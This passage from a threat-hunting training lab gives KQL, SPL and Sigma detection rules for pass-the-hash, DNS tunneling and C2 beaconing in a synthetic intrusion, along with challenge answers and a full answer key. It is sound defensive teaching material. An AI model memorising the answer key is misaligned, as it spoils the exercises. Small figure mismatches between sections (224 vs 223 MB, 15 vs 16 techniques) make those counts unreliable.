12. Establish DNS query monitoring and TXT record alerting
13. Create a formal threat hunting program with recurring scheduled hunts
---
## 7. New Detection Rules
[Sigma/KQL/SPL rules derived from hunt findings...]
Step 2: Convert Findings to Detection Rules¶
Transform your hunt queries into production detection rules.
// Detection Rule: Pass-the-Hash from Workstation Subnet
// Severity: High | Run: Every 15 minutes | Lookback: 15 minutes
SecurityEvent
| where TimeGenerated > ago(15m)
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where KeyLength == 0
| where Account !endswith "$"
| where Account !startswith "svc-"
| where IpAddress startswith "10.50.1."
or IpAddress startswith "10.50.50."
| where Computer has_any ("DC01", "DC02", "FS01", "DB01")
| project TimeGenerated, Account, IpAddress, Computer,
LogonProcessName, WorkstationName
// Correlation: Pass-the-Hash from Workstation to Server
// Schedule: Every 15 minutes | Window: 15 minutes
index=wineventlog sourcetype=WinEventLog:Security EventCode=4624
Logon_Type=3
Authentication_Package=NTLM
Key_Length=0
NOT Account_Name="*$"
NOT Account_Name="svc-*"
(Source_Network_Address="10.50.1.*" OR Source_Network_Address="10.50.50.*")
(ComputerName="DC01*" OR ComputerName="DC02*"
OR ComputerName="FS01*" OR ComputerName="DB01*")
earliest=-15m latest=now
| table _time Account_Name Source_Network_Address ComputerName
title: Pass-the-Hash from Workstation to Critical Server
id: SYNTHETIC-SIGMA-001
status: experimental
description: >
Detects NTLM logon with KeyLength 0 from workstation subnets
to domain controllers, file servers, or database servers.
Derived from Aegis Financial Group threat hunt TH-2026-0042.
references:
- https://attack.mitre.org/techniques/T1550/002/
author: Aegis SOC (SYNTHETIC)
date: 2026/03/17
tags:
- attack.lateral_movement
- attack.t1550.002
logsource:
product: windows
service: security
detection:
selection:
EventID: 4624
LogonType: 3
AuthenticationPackageName: 'NTLM'
KeyLength: 0
filter_machine_accounts:
TargetUserName|endswith: '$'
filter_service_accounts:
TargetUserName|startswith: 'svc-'
condition: selection and not filter_machine_accounts
and not filter_service_accounts
falsepositives:
- Legacy applications using NTLMv1
- Misconfigured service accounts
level: high
Step 3: Write New Hunt Hypotheses¶
Based on your findings, generate hypotheses for follow-up hunts.
New Hypothesis Development
Use the ABLE framework to generate follow-up hypotheses:
- Actor: What else might SYNTHETIC-LEOPARD do based on known TTPs?
- Behavior: What persistence mechanisms might they have installed?
- Lateral: Are there other compromised accounts we haven't found?
- Exfiltration: Was data staged before exfil? Are there other exfil channels?
Suggested Follow-up Hypotheses:
| ID | Hypothesis | Priority | Rationale |
|---|---|---|---|
| H5 | The adversary installed persistence on DC01 (Golden Ticket, scheduled task, or registry run key) | CRITICAL | They had admin access to the DC |
| H6 | Additional accounts beyond kpatel may be compromised — look for pass-the-ticket or Kerberoasting | HIGH | Admin access to DC enables credential harvesting |
| H7 | The adversary accessed additional databases or file shares beyond what we detected | HIGH | SMB access to FS01 may have been for recon |
| H8 | The C2 infrastructure (192.0.2.41) may have secondary failover IPs | MEDIUM | Advanced actors use resilient C2 infrastructure |
Challenge Questions — Exercise 5¶
Challenge 5.1
Q: You need to present these findings to the Board of Directors (non-technical audience). Rewrite the Executive Summary in three sentences without using any technical jargon.
A: "Our security team discovered that an unauthorized individual gained access to an employee's account and used it to access our financial database over the past week. Approximately 224 megabytes of financial data were copied and sent to an external system controlled by the attacker. We are activating our incident response procedures immediately and recommend engaging external forensics experts and legal counsel."
Challenge 5.2
Q: What are the key differences between a threat hunt report and an incident response report? When does a hunt become an IR?
A: A threat hunt report documents proactive searching: hypothesis, methodology, findings (which may be null), and recommended detections. An IR report documents reactive response: incident timeline, containment actions, eradication steps, recovery, and lessons learned. A hunt becomes an IR the moment confirmed malicious activity is identified that requires containment. In this lab, the hunt should have transitioned to IR as soon as the active C2 beacon was confirmed in Exercise 3. The hunt report becomes input to the IR process.
Challenge 5.3
Q: Write a Sigma rule for DNS beaconing detection that would catch the cdn-analytics.example.com pattern.
A:
title: Suspicious DNS TXT Query with Base64 Subdomain
id: SYNTHETIC-SIGMA-002
status: experimental
description: >
Detects DNS TXT queries where the subdomain contains
Base64-like patterns (only alphanumeric and +/= characters),
potentially indicating DNS tunneling or C2 communication.
author: Aegis SOC (SYNTHETIC)
date: 2026/03/17
tags:
- attack.command_and_control
- attack.t1071.004
- attack.exfiltration
- attack.t1048.003
logsource:
category: dns
detection:
selection:
query_type: 'TXT'
filter_subdomain_pattern:
query|re: '^[A-Za-z0-9+/=]{10,}\.'
condition: selection and filter_subdomain_pattern
falsepositives:
- DKIM verification queries
- SPF/DMARC lookups
- Some CDN and analytics services
level: medium
Bonus Challenges¶
Extra Credit
These challenges extend the lab for advanced practitioners.
Bonus 1: Automated Beacon Detection Pipeline¶
Write a KQL query that automatically scans all external connections for beacon patterns without specifying a destination IP.
Solution
// Automated beacon scanner — all external connections
let min_connections = 50;
let max_cov = 0.15; // 15% jitter threshold
NetworkCommunicationEvents
| where TimeGenerated > ago(24h)
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
| where not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
| where not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
| order by LocalIP, RemoteIP, TimeGenerated asc
| serialize
| extend PrevTime = prev(TimeGenerated, 1),
PrevLocal = prev(LocalIP, 1),
PrevRemote = prev(RemoteIP, 1)
| where LocalIP == PrevLocal and RemoteIP == PrevRemote
| extend IntervalSec = datetime_diff('second', TimeGenerated, PrevTime)
| where IntervalSec between (5 .. 3600)
| summarize
Connections = count(),
MeanInterval = round(avg(IntervalSec), 1),
StdevInterval = round(stdev(IntervalSec), 2),
MinInterval = min(IntervalSec),
MaxInterval = max(IntervalSec)
by LocalIP, RemoteIP
| where Connections > min_connections
| where StdevInterval > 0
| extend CoV = round(StdevInterval / MeanInterval, 4)
| where CoV < max_cov
| extend BeaconScore = round(1.0 - CoV, 2) // Higher = more regular
| project LocalIP, RemoteIP, Connections, MeanInterval,
StdevInterval, CoV, BeaconScore
| order by BeaconScore desc
Bonus 2: Cross-Platform Query Translation¶
Translate this SPL query to KQL. The query detects unusual parent-child process relationships.
index=sysmon EventCode=1
| eval ParentName=mvindex(split(ParentImage, "\\"), -1)
| eval ChildName=mvindex(split(Image, "\\"), -1)
| stats count AS Frequency by ParentName ChildName
| eventstats sum(Frequency) AS TotalChildren by ParentName
| eval Percentage = round(Frequency / TotalChildren * 100, 2)
| where Percentage < 1.0 AND Frequency < 5
| sort Percentage
| head 20
KQL Translation
SysmonEvent
| where EventID == 1
| extend ParentName = tostring(split(ParentImage, "\\")[-1])
| extend ChildName = tostring(split(Image, "\\")[-1])
| summarize Frequency = count() by ParentName, ChildName
| join kind=inner (
SysmonEvent
| where EventID == 1
| extend ParentName = tostring(split(ParentImage, "\\")[-1])
| summarize TotalChildren = count() by ParentName
) on ParentName
| extend Percentage = round(todouble(Frequency) / TotalChildren * 100, 2)
| where Percentage < 1.0 and Frequency < 5
| order by Percentage asc
| take 20
Bonus 3: Hunt Metrics Dashboard¶
Write queries to measure hunt program effectiveness.
// Hunt program metrics — coverage analysis
let attack_techniques = datatable(TechniqueID: string, TechniqueName: string)
[
"T1078", "Valid Accounts",
"T1550.002", "Pass the Hash",
"T1021.001", "Remote Desktop Protocol",
"T1021.002", "SMB/Windows Admin Shares",
"T1071.001", "Web Protocols (C2)",
"T1071.004", "DNS (C2)",
"T1048.003", "Exfil Over Unencrypted Protocol",
"T1041", "Exfil Over C2 Channel",
"T1059.001", "PowerShell",
"T1105", "Ingress Tool Transfer",
"T1033", "System Owner Discovery",
"T1018", "Remote System Discovery",
"T1069.002", "Domain Groups Discovery"
];
let detected_techniques = datatable(TechniqueID: string, DetectedBy: string)
[
"T1078", "Exercise 1 - Baseline",
"T1550.002", "Exercise 2 - PtH",
"T1021.001", "Exercise 2 - RDP Pivot",
"T1071.001", "Exercise 3 - HTTP Beacon",
"T1071.004", "Exercise 3 - DNS Beacon",
"T1041", "Exercise 4 - HTTPS Exfil",
"T1048.003", "Exercise 4 - DNS Exfil",
"T1033", "Exercise 1 - Process",
"T1018", "Exercise 1 - Process",
"T1069.002", "Exercise 1 - Process",
"T1105", "Exercise 1 - Process"
];
attack_techniques
| join kind=leftouter detected_techniques on TechniqueID
| extend Detected = isnotempty(DetectedBy)
| summarize
TotalTechniques = count(),
DetectedCount = countif(Detected),
MissedCount = countif(not(Detected)),
Coverage = round(countif(Detected) * 100.0 / count(), 1)
// Hunt program metrics — technique coverage
| makeresults
| eval techniques="T1078:Valid Accounts:Detected,
T1550.002:Pass the Hash:Detected,
T1021.001:RDP:Detected,
T1021.002:SMB:Not Detected,
T1071.001:Web C2:Detected,
T1071.004:DNS C2:Detected,
T1048.003:DNS Exfil:Detected,
T1041:C2 Exfil:Detected,
T1059.001:PowerShell:Not Detected,
T1105:Tool Transfer:Detected,
T1033:User Discovery:Detected,
T1018:System Discovery:Detected,
T1069.002:Group Discovery:Detected"
| makemv delim="," techniques
| mvexpand techniques
| rex field=techniques "(?<TechID>[^:]+):(?<TechName>[^:]+):(?<Status>[^:]+)"
| stats count AS Total,
count(eval(Status="Detected")) AS DetectedCount
| eval Coverage = round(DetectedCount / Total * 100, 1) . "%"
| eval MissedCount = Total - DetectedCount
Answer Key¶
Complete Answer Key — Exercise Summaries
Exercise 1: Baseline Hunting¶
Key Findings:
AEGIS\kpatelhad 4 off-hours logins from 3 previously unseen sources- New login sources included: external IP (192.0.2.41), dev server (10.50.20.5), CFO workstation (10.50.50.5), database server (10.50.10.20)
- Process execution on WS-HR-042 showed a textbook recon chain: whoami → nltest → net group → C2 implant → certutil download
- ATT&CK: T1078, T1033, T1018, T1069.002, T1204.002, T1059, T1105
Exercise 2: Lateral Movement¶
Key Findings:
- Pass-the-hash confirmed: NTLM auth with KeyLength=0 from workstation to DC01, FS01, DB01
- RDP pivot chain: WS-HR-042 → WS-CFO-01 → DB01
- Explicit credential usage (runas) to escalate from kpatel to admin-kpatel
- SMB lateral movement from CFO workstation to database server (ports 445, 135)
- ATT&CK: T1550.002, T1021.001, T1021.002, T1078.002
Exercise 3: C2 Beacon Detection¶
Key Findings:
- HTTPS beacon: 10.50.1.42 → 192.0.2.41:443, ~60-second interval, CoV = 0.053
- DNS beacon: 10.50.1.42 → cdn-analytics.example.com, TXT queries with Base64 subdomains every 30 seconds
- Consistent small payload sizes (~245 bytes sent per HTTPS beacon)
- ATT&CK: T1071.001, T1071.004, T1132.001, T1573.002
Exercise 4: Data Exfiltration¶
Key Findings:
- HTTPS bulk exfiltration: 223 MB from WS-CFO-01 to 192.0.2.41 in 5 transfers over 1 hour
- DNS tunneling exfiltration: ~106 KB from WS-HR-042 via cdn-analytics.example.com over 5 days
- Upload/download ratio for exfil connection: 55,925:1 (nearly all outbound)
- Exfiltration occurred off-hours (20:00–21:00 UTC)
- ATT&CK: T1041, T1048.003
Exercise 5: Report¶
Key Elements:
- 15 MITRE ATT&CK techniques mapped across 8 tactics
- Attack timeline: 5+ day dwell time (2026-03-12 to 2026-03-17)
- Attack path: HR workstation → Domain Controller → CFO workstation → Database Server
- 3 detection rules generated (PtH, DNS beaconing, exfil volume)
- 4 follow-up hunt hypotheses documented
Complete Attack Timeline¶
| Date/Time (UTC) | Event | ATT&CK |
|---|---|---|
| 2026-03-12 03:30 | cmd.exe spawned from Outlook on WS-HR-042 | T1204.002 |
| 2026-03-12 03:30 | Recon: whoami, nltest, net group | T1033, T1018, T1069.002 |
| 2026-03-12 03:32 | C2 implant (svcupdate.exe) executed | T1059 |
| 2026-03-12 03:33 | HTTPS beacon starts (60s interval) | T1071.001 |
| 2026-03-12 03:35 | DNS beacon starts (30s interval) | T1071.004 |
| 2026-03-12 03:45 | PtH to DC01 | T1550.002 |
| 2026-03-12 03:48 | runas to admin-kpatel | T1078.002 |
| 2026-03-12 04:10 | RDP to WS-CFO-01 | T1021.001 |
| 2026-03-12 04:11 | PtH from WS-CFO-01 to FS01 | T1550.002, T1021.002 |
| 2026-03-13 01:20 | certutil download of update.bin | T1105 |
| 2026-03-13 01:22 | admin-kpatel logon from WS-HR-042 | T1078.002 |
| 2026-03-14 19:42 | SMB from WS-CFO-01 to DB01 | T1021.002 |
| 2026-03-14 19:45 | kpatel logon to DB01 | T1078 |
| 2026-03-14 20:00–21:00 | Bulk exfiltration (223 MB) via HTTPS | T1041 |
| 2026-03-12–17 | Ongoing DNS tunneling exfil (~106 KB) | T1048.003 |
Cross-References¶
This lab connects to the following Nexus SecOps content:
Chapters¶
- Chapter 5 — Detection Engineering: Detection rule creation, Sigma format, tuning methodology
- Chapter 6 — SOC Operations: SOC analyst workflows, alert triage, escalation procedures
- Chapter 38 — Advanced Threat Hunting: PEAK methodology, hypothesis-driven hunting, statistical analysis
Related Labs¶
- Lab 2 — Detection Rule Tuning: Foundational detection engineering skills used in Exercise 5
- Lab 10 — Threat Hunting: Python-based hunting complements the KQL/SPL approach in this lab
Tools & References¶
- ATT&CK Technique Reference: KQL/SPL detection queries for 60+ techniques
- Detection Query Cheat Sheet: Quick reference for common KQL and SPL patterns
MITRE ATT&CK Techniques Covered¶
| Technique | ID | Tactic | Exercise |
|---|---|---|---|
| Valid Accounts | T1078 | Initial Access, Persistence | 1, 2 |
| Domain Accounts | T1078.002 | Initial Access | 1, 2 |
| User Execution: Malicious Link | T1204.002 | Execution | 1 |
| Command-Line Interface | T1059.001 | Execution | 1 |
| System Owner/User Discovery | T1033 | Discovery | 1 |
| Remote System Discovery | T1018 | Discovery | 1 |
| Permission Groups Discovery | T1069.002 | Discovery | 1 |
| Pass the Hash | T1550.002 | Lateral Movement | 2 |
| Remote Desktop Protocol | T1021.001 | Lateral Movement | 2 |
| SMB/Windows Admin Shares | T1021.002 | Lateral Movement | 2 |
| Ingress Tool Transfer | T1105 | Command and Control | 1 |
| Web Protocols | T1071.001 | Command and Control | 3 |
| DNS | T1071.004 | Command and Control | 3 |
| Standard Encoding | T1132.001 | Command and Control | 3 |
| Exfiltration Over C2 Channel | T1041 | Exfiltration | 4 |
| Exfiltration Over Alternative Protocol | T1048.003 | Exfiltration | 4 |
Key Takeaway
Threat hunting is not about finding alerts — it is about finding what alerts miss. The queries in this lab detected a full intrusion lifecycle that generated zero automated alerts. Every hunt should produce either confirmed findings or new detection rules that close coverage gaps.